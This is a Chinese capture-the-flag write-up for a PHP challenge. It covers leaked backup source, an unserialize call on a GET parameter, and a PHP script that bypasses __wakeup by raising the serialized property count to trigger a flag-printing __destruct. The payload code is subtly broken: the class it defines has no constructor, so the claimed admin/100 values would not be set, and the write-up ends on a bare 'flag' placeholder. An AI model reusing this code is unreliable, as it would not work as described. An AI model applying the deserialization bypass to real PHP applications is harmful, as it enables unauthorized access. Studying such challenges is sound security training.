1. 进入题目看到一只猫和提示备份的习惯。猜测可能有源码泄露,通过目录扫描工具可以获取到备份文件:www.zip包含其源码。
2. 对其源码进行审计
a. index.php 包含文件index.php;通过get方式获取一个参数select,并对参数select进行反序列化
b. class.php 包含flag.php。主体部分为一个Name类,
i. 有两个私有变量username,password
ii. 构造方法__construct($usernam,$password)
iii. 魔幻函数__wakeup(),在进行反序列化时调用,给变量username赋值为guest
iv. 销毁函数__destruct(),结束对象是执行
1) 第一个if判断是password是否为100。如果不为100就结束方法。
2) 第二个if判断username是否为'admin',且为字符串。如果满足条件就输出flag
3. 解题思路:由index.php中的反序列化可以想到的是通过反序列化触发Name类中的魔幻函数,绕过wakeup()函数,最后执行destruct时,username='admin',password=100满足if条件输出flag
4. payload
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
//username==='admin' password = 100
}
//通过构造方法username='admin' password = 100
$a = new Name('admin',100);
//序列化操作,并对字符串进行URL编码,因为Name类的变量为私有变量,避免打印时漏掉空格
$b = urlencode(serialize($a));
//修改属性的的个数,绕过__wakeup()函数
$b = str_replace('%3A2%3A','%3A3%3A',$b);
echo $b ;
?>
flag